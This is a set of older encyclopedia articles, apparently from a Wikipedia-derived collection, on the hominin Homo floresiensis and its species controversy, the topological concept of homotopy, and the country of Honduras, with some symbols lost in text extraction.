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          The first specimens were discovered by a joint Australian-Indonesian team of paleoanthropologists and archaeologists looking on Flores for evidence of the original human migration of H. sapiens from Asia into Australia. They were not expecting to find a new species, and were quite surprised at the recovery of the nearly complete skeleton of a hominid they dubbed LB1 (for the first skeleton recovered at the Liang Bua Cave). Subsequent excavations recovered seven additional skeletons, dating from 38,000 to 13,000 years old, from Liang Bua limestone cave on Flores. An arm bone, provisionally assigned to H. floresiensis, is about 74,000 years old. Also widely present in this cave are sophisticated stone implements of a size considered appropriate to the 1m tall human: these are at horizons from 95,000 to 13,000 years and are associated with juvenile Stegodon, presumably the prey of LB1.


          The specimens are not fossilized, but were described in a Nature news article as having "the consistency of wet blotting paper" (once exposed, the bones had to be left to dry before they could be dug up). Researchers hope to find preserved mitochondrial DNA to compare with samples from similarly unfossilised specimens of Homo neanderthalensis and H. sapiens. It is unlikely that useful DNA specimens exist in the available sample, as DNA degrades rapidly in warm tropical environments, sometimes in as little as a few dozen years. Also, contamination from the surrounding environment seems highly possible given the moist environment in which the specimens were found.


          


          Anatomy
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          The most important and obvious identifying features of H. floresiensis are its small body and small cranial capacity. Brown and Morwood also identified a number of additional, less obvious features, that might distinguish LB1 from modern H. sapiens, including the form of the teeth, the absence of a chin, and the unusually low twist in the forearm bones. Each of these putative distinguishing features has been heavily scrutinized by the scientific community, with different independent research groups reaching differing conclusions whether these features support the original designation of a new species, or whether they identify LB1 as a severely pathological H. sapiens. The discovery of additional partial skeletons has verified the existence of some features found in LB1, such as the lack of a chin, but Jacob and other research teams argue that these features do not distinguish LB1 from local H. sapiens morphology.


          


          Small bodies


          The type specimen for the proposed species is a fairly complete skeleton and near-complete skull proposed to be that of a 30-year-old female (LB1), nicknamed Little Lady of Flores or Flo, about 1.06m (3ft 6in) in height. This short stature is also supported by the height estimates derived from the tibia of a second skeleton (LB8), on the basis of which Morwood and colleagues suggest that LB8 might have stood 1.09m (3ft 7in) high. These estimates are outside the range of normal modern human height and is considerably shorter than the average adult height of even the physically smallest populations of modern humans, such as the African Pygmies (< 1.5m, or 4ft 11in), Twa, Semang (1.37m, or 4ft6 in for adult women), or Andamanese (1.37m, or 4ft 6in for adult women). Mass is generally considered more biophysically significant than a one-dimensional measure of length, and by that measure, due to effects of scaling, differences are even greater. LB1 has been estimated as perhaps about 25kg (55 lb). This is smaller than not only modern H. sapiens, but also than H. erectus, which Brown and colleagues have suggested is the immediate ancestor of H. floresiensis. LB1 and LB8 are also somewhat smaller than the three million years older ancestor australopithecines, not previously thought to have expanded beyond Africa. Thus, LB1 and LB8 may be the shortest and smallest members of the extended human family discovered thus far.


          Despite the size difference, the specimens seem otherwise to resemble in their features H. erectus, known to be living in Southeast Asia at times coinciding with earlier finds purported to be of H. floresiensis. These observed similarities form the basis for the establishment of the suggested phylogenetic relationship. Despite a controversial reported finding by the same team of alleged material evidence, stone tools, of a H. erectus occupation 840,000 years ago, actual remains of H. erectus itself have not been found on Flores, much less transitional forms.


          To explain the small stature of H. floresiensis, Brown and colleagues have suggested that in the limited food environment on Flores H. erectus underwent strong insular dwarfism, a form of speciation also seen on Flores in several species, including a dwarf Stegodon (a group of proboscideans that was widespread throughout Asia during the Quaternary), as well as being observed on other small islands. However, the "island dwarfing" theory has been subjected to some criticism from Teuku Jacob and colleagues who argue that LB1 is similar to local Rampasasa H. sapiens populations, and who point out that size can vary substantially in pygmy populations.


          


          Small brains


          In addition to a small body size, H. floresiensis had a remarkably small brain. The type specimen, at 380cm (23 in), is at the lower range of chimpanzees or the ancient australopithecines. The brain is reduced considerably relative to this species' presumed immediate ancestor H. erectus, which at 980cm (60in) had more than double the brain volume of its descendant species. Nonetheless, the estimated brain to body mass ratio of LB1 lies between that of Homo erectus and the great apes.


          Indeed, the discoverers have associated H. floresiensis with advanced behaviors. There is evidence of the use of fire for cooking in Liang Bua cave, and evidence of cut marks on the Stegodon bones associated with the finds. The species has also been associated with stone tools of the sophisticated Upper Paleolithic tradition typically associated with modern humans, who at 13101475cm (8090in) nearly quadruple the brain volume of H. floresiensis (with body mass increased by a factor of 2.6). Some of these tools were apparently used in the necessarily cooperative hunting of local dwarf Stegodon by this small human species.


          An indicator of intelligence is the size of region 10 of the dorsomedial prefrontal cortex, which is associated with self-awareness and is about the same size as that of modern humans, despite the much smaller overall size of the brain.


          


          Additional features


          Additional features used to argue that the finds come from a population of previously unidentified hominins include the absence of a chin, the relatively low twist of the arm bones, and the width of the leg bones relative to their length. The presence of each of these features has been confirmed by independent investigators but their significance has been disputed. For example, Jacob and colleagues argue that each of these unusual features indicates some form of pathology in the LB1 skeleton.


          In September of 2007, Matthew W. Tocheri, of the Smithsonian's National Museum of Natural History, announced that Homo floresiensis was indeed a separate branch on the human evolutionary chain. He and his team found the bones in the Homo floresiensis wrist to be "indistinguishable from an African ape or early hominin-like wrist and nothing at all like that seen in modern humans and Neanderthals". He goes on to explain how while there are pathologies that can affect the wrist, there are none that can effectively turn a modern human wrist into that of an extinct proto-human or a modern day African ape. Once confirmed, this would mean that Neanderthal was not the last homo species to share this planet with Homo sapiens, as Homo floresiensis only died out around 18,000 years ago, or 12,000 years after the last Homo neanderthalensis.


          


          Recent survival


          The species is thought to have survived on Flores until at least as recently as 12,000 years ago making it the longest-lasting non-modern human, surviving long past the Neanderthals (H. neanderthalensis) which became extinct about 24,000 years ago.


          Due to a deep neighboring strait, Flores remained isolated during the Wisconsin glaciation (the most recent glacial period), despite the low sea levels that united much of the rest of Sundaland. This has led the discoverers of H. floresiensis to conclude the species, or its ancestors, could only have reached the isolated island by water transport, perhaps arriving in bamboo rafts around 100,000 years ago (or, if they are H. erectus, then about 1 million years ago). This idea of Flores using advanced technology and cooperation on a modern human level has prompted the discoverers to hypothesize that H. floresiensis almost certainly had language. These suggestions have been some of the most controversial of the discoverers' findings, despite the probable high intelligence of H. floresiensis.


          Local geology suggests that a volcanic eruption on Flores approximately 12,000 years was responsible for the demise of H. floresiensis, along with other local fauna, including the dwarf elephant Stegodon. The discoverers suspect, however, that this species may have survived longer in other parts of Flores to become the source of the Ebu Gogo stories told among the local people. The Ebu Gogo are said to have been small, hairy, language-poor cave dwellers on the scale of H. floresiensis. Believed to be present at the time of the arrival of the first Portuguese ships during the 16th century, these strange creatures have been reported as recently as the late 19th century.


          Gerd van den Bergh, a paleontologist working with the fossils, reported hearing of the Ebu Gogo a decade before the fossil discovery.


          Similarly, on the island of Sumatra, there are reports of a 11.5m tall humanoid, the Orang Pendek, which a few professional scholars, such as Debbie Martyr and Jeremy Holden, take seriously. Some scientists, including noted paleontologist Henry Gee, have speculated that H. floresiensis might explain the Orang Pendak.


          


          Controversies


          Whether the specimens represent a new species is a controversial issue within the scientific community. Professor Teuku Jacob, chief paleontologist of the Indonesian Gadjah Mada University and other scientists reportedly disagree with the placement of the new finds into a new species of Homo, stating instead, "It is a sub-species of Homo sapiens classified under the Austrolomelanesid race". He contends that the find is from a 2530 year-old omnivorous subspecies of H. sapiens, and not a 30-year-old female of a new species. He is convinced that the small skull is that of a mentally defective modern human, probably a Pygmy, suffering from the genetic disorder microcephaly, which produces a small brain and skull.


          In early December 2004, Professor Jacob removed most of the remains from Soejono's institution, Jakarta's National Research Centre of Archaeology, for his own research without the permission of the Centre's directors. Some expressed fears that, like the Dead Sea Scrolls, important scientific evidence would be sequestered by a small group of scientists who neither allowed access by other scientists nor published their own research. Jacob eventually returned the remains with portions severely damaged and missing two leg bones on 23 February 2005 to the worldwide consternation of his peers. Reports noted the condition of the returned remains; "(including) long, deep cuts marking the lower edge of the Hobbit's jaw on both sides, said to be caused by a knife used to cut away the rubber mould"; "the chin of a second Hobbit jaw was snapped off and glued back together. Whoever was responsible misaligned the pieces and put them at an incorrect angle"; and, "The pelvis was smashed, destroying details that reveal body shape, gait and evolutionary history" and causing the discovery team leader Professor Morwood to remark "It's sickening, Jacob was greedy and acted totally irresponsibly." Jacob, however, denied any wrongdoing. He stated that such damages occurred during transport from Yogyakarta back to Jakarta despite the physical evidence to the contrary that the jawbone had been broken while making a mold of the hobbit, and when trying to repair it "rammed the two halves together at the wrong angle, stuck bone fragments in the cracks, and hidden the mess with a thick coating of glue".


          However, prior to Jacob's removal of the fossils, a CT scan was taken of the skull and in 2005, a computer-generated model of the skull of H. floresiensis was undertaken, and analysed by a team headed by Dean Falk of Florida State University. The results were published in Science in Feb. 2005. The authors of the study claimed that brainpan was not that of a pygmy nor an individual with a malformed skull and brain, supporting the view that it is a new species. However, in October 2005 Science published an additional study headed by Alfred Czarnetzki, Carsten M. Pusch and Jochen Weber. This disagreed with the findings of the February 2005 study and concluded that the skull of LB1 is consistent with microcephaly.


          The results of the Feb. 2005 study were also questioned in the May 19, 2006, issue of the journal Science, in which Robert D. Martin of the Field Museum in Chicago and co-authors argued that the 2005 study had not compared the skull with a typical example of adult microcephaly. Martin and his co-authors concluded that the skull was probably microcephalic. Martin argued that the brain is far too small to be a separate dwarf species; if it were, he wrote, the 400-cubic-centimeter brain would indicate a creature only one foot in height, which would be one-third the size of the discovered skeleton. In the September 5, 2006, issue of the Proceedings of the National Academy of Sciences, a group of scientists from Indonesia, Australia, and the United States came to the same conclusion as Dr. Martin by examining bone and skull structure.


          In response, Brown and Morwood have criticized these recent findings by claiming that the scientists came to incorrect conclusions about bone and skull structure and mistakenly attributed the height of Homo floresiensis to microcephaly. They also pointed to studies by other scientists who rejected the argument that the individual was diseased. Falk's team replied to the critics of their Feb. 2005 study, standing by their results and insisting that the skull is very different from microcephalic specimens. Bill Jungers, a morphologist from Stony Brook University, examined the skull and concluded that the skeleton displays "no trace of disease". However, Jochen Weber of the Leopoldina Hospital in Schweinfurt argues that "we can't rule out the possibility that he suffered from microcephaly." Debbie Argue of the Australian National University has also published a study in the Journal of Human Evolution which rejects microcephaly and concludes that the finds are indeed a new species.


          


          Evidence against microcephaly


          On January 29, 2007, Falk published a new study supporting the claim to species status offering the most conclusive evidence to date that the claims of a microcephalic Homo sapiens were not credible. In this new study Falk examines 3-D computer generated models of an additional 9 microcephalic brains and 10 normal human brains, revealing the floresiensis skulls having shape more aligned with normal human brains, but also having unique features which is consistent with what one would expect in a new species. Comparing the frontal and temporal lobes, as well as the portion in the back of the skull revealed a brain highly developed, completely unlike the microcephalic brain, and advanced in ways different from human brains. This finding also answered past criticisms that the floresiensis brain was simply too small to be capable of the intelligence required to create the tools found in their proximity. Falk concludes the onus is now upon the critics that continue to claim microcephaly to produce a brain of a microcephalic that bears resemblance to the floresiensis brain.


          


          Laron syndrome


          On June 27, 2007, Hershkovitz et al. published a new paper arguing that the morphological features of H. floresiensis are essentially indistinguishable from those of Laron syndrome, casting the species claim once more into doubt.


          


          Bone structure


          The bone structure of H. floresiensis' shoulders, arms and wrists have been described as very different from modern humans, much closer to the bone structure of an early hominin or chimpanzees. This supports to the idea of the Hobbit being a separate species of early human rather than a modern human with a physical disorder.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Homo_floresiensis"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Homotopy


        
          

          
            [image: The two bold paths shown above are homotopic relative to their endpoints. Thin lines mark isocontours of one possible homotopy.]

            
              The two bold paths shown above are homotopic relative to their endpoints. Thin lines mark isocontours of one possible homotopy.
            

          


          In topology, two continuous functions from one topological space to another are called homotopic ( Greek homos = identical and topos = place) if one can be "continuously deformed" into the other, such a deformation being called a homotopy between the two functions. An outstanding use of homotopy is the definition of homotopy groups and cohomotopy groups, important invariants in algebraic topology.


          In practice, there are technical difficulties in using homotopies with certain pathological spaces. Consequently most algebraic topologists work with compactly generated spaces, CW complexes, or spectra.


          


          Formal definition
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          Formally, a homotopy between two continuous functions f and g from a topological space X to a topological space Y is defined to be a continuous function H: X  [0,1]  Y from the product of the space X with the unit interval [0,1] to Y such that, for all points x in X, H(x,0)=f(x) and H(x,1)=g(x).


          If we think of the second parameter of H as "time", then H describes a "continuous deformation" of f into g: at time 0 we have the function f, at time 1 we have the function g.


          


          Properties


          Continuous functions f and g (both from topological space X to Y) are said to be homotopic iff there is a homotopy H taking f to g as described above. Being homotopic is an equivalence relation on the set of all continuous functions from X to Y. This homotopy relation is compatible with function composition in the following sense: if f1, g1: X  Y are homotopic, and f2, g2: Y  Z are homotopic, then their compositions f2 o f1 and g2 o g1: X  Z are homotopic as well.


          


          Homotopy equivalence and null-homotopy


          Given two spaces X and Y, we say they are homotopy equivalent or of the same homotopy type if there exist continuous maps f: X  Y and g: Y  X such that g o f is homotopic to the identity map idX and f o g is homotopic to idY.


          The maps f and g are called homotopy equivalences in this case. Clearly, every homeomorphism is a homotopy equivalence, but the converse is not true: for example, a solid disk is not homeomorphic to a single point, although the disk and the point are homotopy equivalent.


          Intuitively, two spaces X and Y are homotopy equivalent if they can be transformed into one another by bending, shrinking and expanding operations. For example, a solid disk or solid ball is homotopy equivalent to a point, and R2 - {(0,0)} is homotopy equivalent to the unit circle S1. Those spaces that are homotopy equivalent to a point are called contractible.


          A function f is said to be null-homotopic if it is homotopic to a constant function. (The homotopy from f to a constant function is then sometimes called a null-homotopy.) For example, it is simple to show that a map from the circle S1 is null-homotopic precisely when it can be extended to a map of the disc D2.


          It follows from these definitions that a space X is contractible if and only if the identity map from X to itselfwhich is always a homotopy equivalenceis null-homotopic.


          


          Homotopy invariance


          Homotopy equivalence is important because in algebraic topology many concepts are homotopy invariant, that is, they respect the relation of homotopy equivalence. For example, if X and Y are homotopy equivalent spaces, then:


          
            	if X is path-connected, then so is Y


            	if X is simply connected, then so is Y


            	the (singular) homology and cohomology groups of X and Y are isomorphic


            	if X and Y are path-connected, then the fundamental groups of X and Y are isomorphic, and so are the higher homotopy groups. Without the path-connectedness assumption, one has 1(X, x0) isomorphic to 1(Y, f(x0)) where f: X  Y is a homotopy equivalence and x0 a given point in X.

          


          An example of an algebraic invariant of topological spaces which is not homotopy-invariant is compactly supported homology (which is, roughly speaking, the homology of the compactification, and compactification is not homotopy-invariant).


          


          Homotopy category


          The idea of homotopy can be turned into a formal category of category theory. The homotopy category is the category whose objects are topological spaces, and whose morphisms are homotopy equivalence classes of continuous maps. Two topological spaces X and Y are isomorphic in this category if and only if they are homotopy-equivalent. Then a functor on the category of topological spaces is homotopy invariant if it can be expressed as a functor on the homotopy category.


          For example, homology groups are a functorial homotopy invariant: this means that if f and g from X to Y are homotopic, then the group homomorphisms induced by f and g on the level of homology groups are the same: Hn(f) = Hn(g): Hn(X)  Hn(Y) for all n. Likewise, if X and Y are in addition path-connected, then the group homomorphisms induced by f and g on the level of homotopy groups are also the same: n(f) = n(g): n(X)  n(Y).


          


          Relative homotopy


          In order to define the fundamental group, one needs the notion of homotopy relative to a subspace. These are homotopies which keep the elements of the subspace fixed. Formally: if f and g are continuous maps from X to Y and K is a subset of X, then we say that f and g are homotopic relative to K if there exists a homotopy H: X  [0,1]  Y between f and g such that H(k,t) = f(k) = g(k) for all kK and t[0,1]. Also, if g is a retract from X to K and f is the identity map, this is known as a strong deformation retract of X to K.


          


          Timelike homotopy


          On a Lorentzian manifold, certain curves are distinguished as timelike. A timelike homotopy between two timelike curves is a homotopy such that each intermediate curve is timelike. No closed timelike curve (CTC) on a Lorentzian manifold is timelike homotopic to a point (that is, null timelike homotopic); such a manifold is therefore said to be multiply connected by timelike curves. A manifold such as the 3-sphere can be simply connected (by any type of curve), and yet be multiply timelike connected.


          


          Homotopy extension property


          Another useful property involving homotopy is the homotopy extension property, which characterizes the extension of a homotopy between two functions from a subset of some set to the set itself. It is useful when dealing with cofibrations.


          


          Isotopy


          In case the two given continuous functions f and g from the topological space X to the topological space Y are homeomorphisms, one can ask whether they can be connected 'through homeomorphisms'. This gives rise to the concept of isotopy, which is a homotopy, H, in the notation used before, such that for each fixed t, H(x,t) gives a homeomorphism.


          Requiring that two homeomorphisms be isotopic really is a stronger requirement than that they be homotopic. For example, the map of the unit disc in R2 defined by f(x,y) = (x,y) is equivalent to a 180-degree rotation around the origin, and so the identity map and f are isotopic because they can be connected by rotations. However, the map on the interval [1,1] in R defined by f(x) = x is not isotopic to the identity. Loosely speaking, any homotopy from f to the identity would have to exchange the endpoints, which would mean that they would have to 'pass through' each other. Moreover, f has changed the orientation of the interval, hence it cannot be isotopic to the identity.


          In geometric topologyfor example in knot theorythe idea of isotopy is used to construct equivalence relations. For example, when should two knots be considered the same? We take two knots, K1 and K2, in three- dimensional space. The intuitive idea of deforming one to the other should correspond to a path of homeomorphisms: an isotopy starting with the identity homeomorphism of three-dimensional space, and ending at a homeomorphism, h, such that h moves K1 to K2. An ambient isotopy, studied in this context, is an isotopy of the larger space, considered in light of its action on the embedded submanifold.
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                    	Coat of arms
                  

                

              
            


            
              	Motto:"Libre, Soberana e Independiente. "(Spanish)

              "Free, Sovereign and Independent"
            


            
              	Anthem: Himno Nacional de Honduras
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              	Capital

              (and largest city)

              	Tegucigalpa

            


            
              	Official languages

              	Spanish
            


            
              	Demonym

              	Honduran
            


            
              	Government

              	democratic constitutional republic
            


            
              	-

              	President

              	Manuel Zelaya
            


            
              	Independence
            


            
              	-

              	from Spain

              	15 September 1821
            


            
              	-

              	from Mexico

              	1823
            


            
              	-

              	from the PUCA

              	1838
            


            
              	Area
            


            
              	-

              	Total

              	112,492km( 102nd)

              43,278 sqmi
            


            
              	Population
            


            
              	-

              	September 2007estimate

              	7,483,763( 96th)
            


            
              	-

              	2000census

              	6,975,204
            


            
              	-

              	Density

              	64/km( 128th)

              166/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	$25.63 billion( 106th)
            


            
              	-

              	Per capita

              	$3,300( 124th)
            


            
              	Gini(2003)

              	53.8(high)
            


            
              	HDI(2007)

              	▲ 0.700(medium)( 115th)
            


            
              	Currency

              	Lempira ( HNL)
            


            
              	Time zone

              	CST ( UTC-6)
            


            
              	Internet TLD

              	.hn
            


            
              	Calling code

              	+504
            


            
              	1

              	"libre, soberana, e independiente" is the official motto, the congress order to put it on the coat of arms. The unofficial motto "NO PASARN" or "They shall not pass" became popular during the 1969 war with El Salvador. This is an allusion to the El Salvador's stated goal to reach the Honduran Caribbean coast during their offensive.
            


            
              	2

              	note: estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2007 est.)
            

          


          Honduras (pronounced /Ohn-due-raz/; in Spanish, Repblica de Honduras Spanish pronunciation: [onˈduɾas]) is a democratic republic in Central America. It was formerly known as Spanish Honduras to differentiate it from British Honduras (now Belize). The country is bordered to the west by Guatemala, to the southwest by El Salvador, to the southeast by Nicaragua, to the south by the Pacific Ocean at the Gulf of Fonseca, and to the north by the Gulf of Honduras, a large inlet of the Caribbean Sea.


          


          Etymology


          The Spanish used at least three different terms to refer to the area that became the Central American country of Honduras.


          
            	Guaymuras - a name Columbus provided for a town near modern Trujillo. Bartolom de las Casas subsequently generalized it to apply to the whole colony.


            	Higueras - a reference to the gourds that come from the Jicaro tree, many of which were found floating in the waters off the northwest coast of Honduras.


            	Honduras - literally "depths" in Spanish. Columbus is traditionally quoted as having written Gracias a Dios que hemos salido de esas Honduras (English: "Thank God we have come out of those depths") while along the northeastern coast of Honduras.
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              Rainforest outside Tegucigalpa
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              Lake Yojoa
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              Virgin of Suyapa, Patron of Honduras and Central America
            

          


          


          History


          Archaeologists have demonstrated that Honduras had a rich, multi-ethnic prehistory. An important part of that prehistory was the Mayan presence around the city of Copn in western Honduras, near the Guatemalan border. A major Mayan city flourished during the classic period (150-900) in that area. It has many carved inscriptions and stelae. The ancient kingdom, named Xukpi, existed from the fifth century to the early ninth century, with antecedents going back to at least the second century. The Mayan civilization began a marked decline in the ninth century, but there is evidence of people still living in and around the city until at least 1200. By the time the Spanish came to Honduras, the once great city-state of Copn was overrun by the jungle, and the Lencas, not the Mayans, were the main Amerindian people living in western Honduras.
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          On his fourth and final voyage to the New World in 1502, Christopher Columbus reached the Bay Islands on the coast of Honduras. Landing near the modern town of Trujillo, in the vicinity of the Guaimoreto Lagoon. After the Spanish discovery, Honduras became part of Spain's vast empire in the New World within the Kingdom of Guatemala. Trujillo and Gracias were the first city-capitals. The Spanish ruled what would become Honduras for approximately three centuries. During this period a clock which had been built by the Moors in the twelfth Century was transferred to the Cathedral of Comayagua in 1636: it is now the oldest functioning clock in the Americas.


          Spain granted independence to Honduras, with the rest of the Central American provinces on September 15, 1821. In 1822 the United Central American Provinces decided to join the newly declared Mexican Empire of Iturbide. The Iturbide Empire was overthrown in 1823 and Central America separated from it, forming the Federal Republic of Central America, which disintegrated in 1838. As a result the states of the republic became independent nations.


          Silver mining was a key factor in the Spanish conquest and settlement of Honduras, but has been only a minor part of the national economy in recent years. The American-owned Barger Mining Company was a major gold and silver producer, but shut down its large mine at San Juancito in 1954.


          Following the attack on Pearl Harbour, Honduras joined the Allied Nations on December 8, 1941. Less than a month later, on the first day of 1942, Honduras, along with twenty-five other governments, signed the Declaration by United Nations.


          In 1969, Honduras and El Salvador fought what would become known as The Soccer War. There had been border tensions between the two countries after Oswaldo Lpez Arellano, a former president of Honduras, blamed the deteriorating economy on the large number of immigrants from El Salvador. From that point on, the relationship between the two countries grew acrimonious and reached a low when El Salvador met Honduras for a three-round football elimination match as a preliminary to the World Cup. Tensions escalated, and on July 14, 1969, the Salvadoran army launched an attack against Honduras. The Organization of American States negotiated a cease-fire which took effect on July 20, and brought about a withdrawal of Salvadoran troops in early August.


          Contributing factors in the conflict were a boundary dispute and the presence of thousands of Salvadorans living in Honduras illegally. After the week-long football war in July 1969, many Salvadoran families and workers were expelled. El Salvador had agreed on a truce to settle the boundary issue, but Honduras later paid war damage costs for expelled refugees.


          During the 1980s, the United States established a very large military presence in Honduras with the purpose of supporting the Iran-Contra Affair, anti-Sandinista Contras fighting the Nicaraguan government, and to support the El Salvador military fighting against the FMLN guerrillas. The U.S. built the airbase known as Palmerola, near Comayagua, with a 10,000-foot (3,000m) runway so that C5-A cargo planes could land there, rather than at the public airport in San Pedro Sula. The U.S. also built a training base near Trujillo which primarily trained Contras and the Salvadoran military, and in conjunction with this, developed Puerto Castilla into a modern port. The United States built many airstrips near the Nicaraguan border to help move supplies to the Contra forces fighting the Sandinistas in Nicaragua. Though spared the bloody civil wars wracking its neighbors, the Honduran army quietly waged a campaign against leftists which included extra judicial killings and forced disappearances of political opponents by government-backed death squads, most notably Battalion 316.


          Hurricane Fifi caused severe damage while skimming the northern coast of Honduras on September 18 and 19, 1974.


          In 1998, Hurricane Mitch caused such massive and widespread loss that former Honduran President Carlos Roberto Flores claimed that fifty years of progress in the country were reversed. Mitch obliterated about 70% of the crops and an estimated 70-80% of the transportation infrastructure, including nearly all bridges and secondary roads. Across the country, 33,000 houses were destroyed, an additional 50,000 damaged, some 5,000 people killed, 12,000 injured, and total loss estimated at $3 billion USD.


          


          Politics


          Honduras has five registered political parties: PNH, PLH, Social Democrats (Partido Innovacin Nacional y Social Demcrata: PINU-SD), Social Christians (Partido Demcrata-Cristiano: DC), and Democrat Unification (Partido Unificacin Democrtica: UD). The PNH and PLH have ruled the country for decades. In the last years, Honduras has had five Liberal presidents: Roberto Suazo Crdova, Jos Azcona del Hoyo, Carlos Roberto Reina, Carlos Roberto Flores and Manuel Zelaya, and two Nationalists: Rafael Leonardo Callejas Romero and Ricardo Maduro. The elections have been full of controversies, including questions about whether Azcona was born in Honduras or Spain, and whether Maduro should have been able to stand given he was born in Panama.


          In 1963, a military coup was mounted against the democratically-elected president Villeda Morales and a military junta established which held power until 1981. In this year Suazo Crdova (LPH) was elected president and Honduras changed from a military authoritarian regime.


          In 1986, there were five Liberal candidates and four Nationalists running for president. Because no one candidate obtained a clear majority, the so-called "Formula B" was invoked and Azcona del Hoyo became president. In 1990, Callejas won the election under the slogan "Lleg el momento del Cambio," (English "The time for change has arrived"), which was heavily criticized for resembling El Salvador's "ARENAs" political campaign. Once in office, Callejas Romero gained a reputation for illicit enrichment, and has been the subject of several scandals and accusations. It was during Flores Facusse's mandate that Hurricane Mitch hit the country and decades of economic growth were eradicated in less than a week.


          Although the Nationalist and Liberal parties are distinct entities with their own dedicated band of supporters, some have pointed out that their interests and policy measures throughout the twenty-five years of uninterrupted democracy have been very similar. They are often characterized as primarily serving the interests of their own members, who receive jobs when their party gains power and lose them again when the other party is elected. A common struggle for presidents is the imposition of candidates in key ministries by the unelected political leaders of their party. Both are seen as supportive of the elite that owns most of the wealth in the country, while neither extensively promotes socialist ideals. In many ways Honduras resembles a democratic version of an old socialist state, with price controls and nationalized electric and land-line telephone services.


          The effect of the patronage appointments is tremendously felt in the incapacity of government departments to carry out their mandate. In an interview with Rodolfo Pastor Fasquelle, Minister of Sports & Culture and one of three 'super ministers' responsible for coordinating the ministries related to public services (security & economic being the other 2), published in Honduras This Week on July 31, 2006, it was related that 94% of the department budget was spent on bureaucracy and only 6% went to support activities and organizations covered by the mandate. Wages within that ministry were identified as the largest budget consumer.


          President Maduro's administration "de-nationalized" the telecommunications sector in a move to promote the rapid diffusion of these services to the Honduran population. As of November 2005, there were around 10 private-sector telecommunications companies in the Honduran market, including two mobile phone companies. As of mid 2007 the issue of tele-communications continues to be very damaging to the current government. The country's main newspapers are La Prensa, El Heraldo, La Tribuna y El Tiempo.


          A Presidential and General Election was held on November 27, 2005. Manuel Zelaya of the Liberal Party of Honduras (Partido Liberal de Honduras: PLH) won, with Porfirio Pepe Lobo of the National Party of Honduras (Partido Nacional de Honduras: PNH) coming in second. The PNH challenged the election results, and Lobo Sosa did not concede until December 7. Towards the end of December, the government finally released the total ballot count, giving Zelaya the official victory. Zelaya was inaugurated as Honduras' new president on January 27, 2006. His government has generally been considered fragile and he does not hold a majority in the National Congress.


          


          Departments and municipalities


          Honduras is divided into 18 departments. The capital city is Tegucigalpa Central District of the department of Francisco Morazn.
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          National symbols
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          The flag of Honduras is composed of 3 equal horizontal stripes, with the upper and lower ones being blue and representing the Pacific ocean and Caribbean sea. The central stripe is white. It contains five blue stars representing the five states of the Central American Union. The middle star represents Honduras, located in the centre of the Central American Union. The legislation designating this design for the flag of Honduras passed into law on January 18, 1949.


          The Coat of arms was established in 1825. It is one an equilateral triangle, at the base a volcano finds its base between two castles, over which we find a rainbow and the sun shining. The triangle placed on an area that supposes bathed by both seas. Around all of this an oval that it contains in golden lettering: "Republic of Honduras, Free, Sovereign and Independent".


          The National Anthem of Honduras is a result of a contest carried out in 1904 during the presidency of Manuel Bonilla. In the end, it was the poet Augusto C. Coello that ended up writing the anthem, with the participation of the German composer Carlos Hartling writing the music. The anthem was officially adopted on November 15, 1915, during the presidency of Alberto Membreo. The anthem is composed of a choir and seven strophes, which report historical events of the country.


          The National Flower of the Honduran is the famous orchid, Rhyncholaelia digbyana (formerly known as Brassavola digbyana), which replaced the rose in 1969. The change of the National Flower was carried out during the administration of general Oswaldo Lpez Arellano, thinking that Brassavola Digbiana "is an indigenous plant of Honduras; having this flower exceptional characteristics of beauty, vigor and distinction", as the decree dictates it.


          The National Tree of Honduras is the Pine of scientific name: Pinus hondurensis, which was approved on February 4, 1927 during the presidency of Miguel Paz Barahona. Also the use of the tree was regulated, "to avoid the unnecessary destructions caused by choppings or fires of forest."


          The National Mammal is the White Tailed Deer, which was adopted on June 28, 1993 by the government of Honduras, as measurement to avoid excessive depredation. The scientific name of the animal is: Odocoileus virginianus, one of two species of deer that live in Honduras. Its feeding is based on grasses, sheets, etc. The three biggest natural enemies of the White Tail are the puma, the jaguar and man.


          The National Bird of Honduras is the Scarlet Macaw (Ara macao), under a decree established in 1993. This bird, was much valued by the pre-Columbian civilizations of Honduras. The Guacamaya, as it is called by Hondurans and others, belongs to the family of the Psittacidae and his feeding consists in: nectar, roots, fruits etc. The bird lives from Bolivia up to Mexico where the bird makes use of various zones as its natural habitat. In Honduras the scarlet macaw, can be found particularly in the Mosquito Coast.


          


          Geography
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          Honduras borders the Caribbean Sea on the north coast and the Pacific Ocean on the south through the Gulf of Fonseca. The climate varies from tropical in the lowlands to temperate in the mountains. The central and southern regions are relatively hotter and less humid than the northern coast.


          The Honduran territory consists mainly of mountains (~81%), but there are narrow plains along the coasts, a large undeveloped lowland jungle La Mosquitia region in the northeast, and the heavily populated lowland San Pedro Sula valley in the northwest.


          In La Mosquitia, lies the UNESCO-world heritage site Ro Pltano Biosphere Reserve, with the Coco River which divides the country from Nicaragua.


          Natural resources include timber, gold, silver, copper, lead, zinc, iron ore, antimony, coal, fish, shrimp, and hydropower.


          The Islas de la Baha and the Swan Islands (all off the north coast) are part of Honduras. Misteriosa Bank and Rosario Bank, 130 to 150 km (80-93 miles) north of the Swan Islands, fall within the EEZ of Honduras.


          


          Economy
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          Honduras is one of the 10 poorest countries in the Western Hemisphere with GDP per capita at US$3,300 per year (2007). The economy has continued to grow slowly but the distribution of wealth remains very polarized with average wages remaining low. Economic growth in the last few years has averaged 7% a year which has been one of the most successful growths in Latin America, but 50%, approximately 3.7 million, of the population still remain below the poverty line. It is estimated that there are more than 1.2 million people who are unemployed, the rate of unemployment standing at 27.9%.


          The World Bank and the International Monetary Fund is near to get out of the Heavily Indebted Poor Countries eligible for debt relief, which was given in 2005.


          Both the electricity services (ENEE) and land-line telephone services (HONDUTEL) have been operated by government agencies, with ENEE receiving heavy subsidies because of chronic financial problems. HONDUTEL, however, is no longer a monopoly, the telecommunication sector having been opened to private-sector companies after December 25, 2005; this was one of the requirements before approving the beginning of CAFTA. There are price controls on petrol, and other temporary price controls for basic commodities are often passed for short periods by the Congress.


          After years of declining against the U.S. dollar the Lempira has stabilized at around 19 Lempiras per dollar. In June 2008 the exchange rate between United States Dollars and Honduran Lempiras was approximately 1 to 18.85.


